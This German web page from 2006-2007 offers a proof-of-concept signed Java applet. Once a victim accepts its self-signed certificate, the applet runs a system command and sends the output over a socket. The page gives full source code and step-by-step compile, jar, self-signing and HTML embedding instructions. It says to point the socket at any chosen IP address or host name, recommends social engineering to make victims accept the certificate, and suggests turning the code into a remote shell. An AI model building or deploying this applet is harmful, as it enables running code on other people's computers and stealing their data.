Proof-of-Concept

Links

 ../back
 mainpage
 PoC with remoteshell



Description



Bei diesem PoC handelt es sich um ein Java Applet, welches es erlaubt bei seinem Opfer lokalen Code auszuführen, sofern dieser dem Zertifikat zustimmt und über außreichend Rechte verfügt.
In diesem Beispiel wird an dem lokalen Host nur das Wurzelverzecihnis aufgelistet und auf Port 10003 an den lokalen Host geschickt.
Das hier ist der Quelltext:
	  import java.io.*;
	  import java.net.Socket;
	  import java.util.*;
	  import java.applet.*;
	  public class poc extends Applet{
	  /* author: 	Daniel Baier (duddits@remoteshell-security.com)
	   * 			Thomas Schneider (maxmusterm@gmail.com)
	   */
	  	PrintWriter out;

	  	public void init()
	      {
	  		try {
	  			ProcessBuilder builder = new ProcessBuilder("cmd", "/c", "dir");
	  			builder.directory(new File("/"));
	  			Process p = builder.start();
	  			Scanner s = new Scanner(p.getInputStream()).useDelimiter("\\Z");
	  			Socket clientSocket = new Socket("127.0.0.1",10003);
	  			out = new PrintWriter(clientSocket.getOutputStream(), true);
	  			out.println(s.next());
	  		} catch (Exception ik) {
	  			ik.printStackTrace();
	  		}
	  	}
	  }
Natürlich ist der Code in dieser Form weniger Gefährlich, dennoch bietet er genug Angriffsvektoren mit ein bischen Fantasy.
Ein Beispiel wäre eine in Java geschriebene RemoteShell

Nachfolgend erkläre ich, wie der oben stehende Code umgesetzt werden muss, damit man diesen auch in der hier presentierten Form verwenden kann.
Um das Java Applet POC zu nutzen sind folgende Schritte notwending:

1. Quelltext von der Seite kopieren und in eine Datei mit Namen poc.java speichern. Dabei ist auf Groß- und Kleinschreibung zu achten.

2. Die IP-Adresse im Konstruktor von Socket kann dann durch die gewünschte IP-Adresse ersetz werden.
Alternativ kann man auch einen DNS-Namen nehmen.
Auch das ändern des Quellportes ist m&ozml;glich.

3. Speichern und kompilieren. Hierzu verwendet man am besten javac der Java-Compiler aus dem JDK. Wichtig ist hierbei das man mindestens das JDK 1.5 oder höher hat.
Der Aufruf sehe dann wie folgt aus:

javac poc.java


4. Nun ist ein Jar-Archiv zu erstellen. Damit der Browser später weiß welche Datei aus dem Jar-Archiv geladen werden soll bzw. die Init-Methode enthält, ist eine so genannte Manifestdatei notwending. Der grundsätzliche Aufbau ist wie folgt:

Manifest-Version: 1.0
Main-Class: poc

Diese speichert man dann z.B. unter dem Namen manifest.txt ab. Nun ist im Verzeichnis der Manifestdatei und der .class Datei, also hier in dem Verzeichnis von manifest.txt
und poc.class, folgendes einzugeben um ein Jar-Archiv zu erstellen:

jar cvfm poc.jar manifest.txt poc.class

Und schon ist das Jar-Archiv fertig.

5. Mit dem keytool aus dem JDK ist nun ein authentisches Zertifikat zu erstellen. Hierzu sind folgende Schritte notwendig:
1. Erzeugen eines eigenen Schlüssels
Mit dem Kommandozeilen Tool KeyTool aus dem JDK generiert man einen neuen Schlüssel:

Syntax:
keytool -genkey -alias >Name< -dname ">Distinguished Name<"
Beispiel:
keytool -genkey -alias PoC -dname "cn=remoteshell-security, c=com"

Anschließend ist ein Passwort für den Schlüssel festzulegen.
2. Erzeugen eines Zertifikats
Auch hier wird wieder das Tool KeyTool für die Erzeugung eines Zertifikats verwendet:

Syntax:
keytool -selfcert -alias <Name> -dname "<Distinguished Name>"
Beispiel:
keytool -selfcert -alias PoC -dname "cn=remoteshell-security, c=com"

3. Signieren des Applets
Zuletzt wird das Applet mit Hilfe des Tools jarsigner signiert:

Sysntax:
jarsigner <Jar-Archiv> <Alias des Zertifikats>
Beispiel:
jarsigner poc.jar PoC

6. Nach dem erstellen des Zertifiaktes und dem signieren des Jar-Archives muss man nur noch eine entsprechende html-Seite kreieren:

<html>
<body>
<applet code="poc.class" archive="poc.jar" width="300" height="300">
</applet>
</body>
</html>

Das Zertifika ist deshalb notwendig, da nur bei Akzeptanz des Zertifaktes es möglich ist, lokalen Code auszuführen. Um einen Benutzer dazu zu bringen dieses Zertifikat und das Applet zu öffnen, benutzt man am besten Social Engineering Techniken.



Copyright © 2006-2007 Daniel Baier: Alle Rechte vorbehalten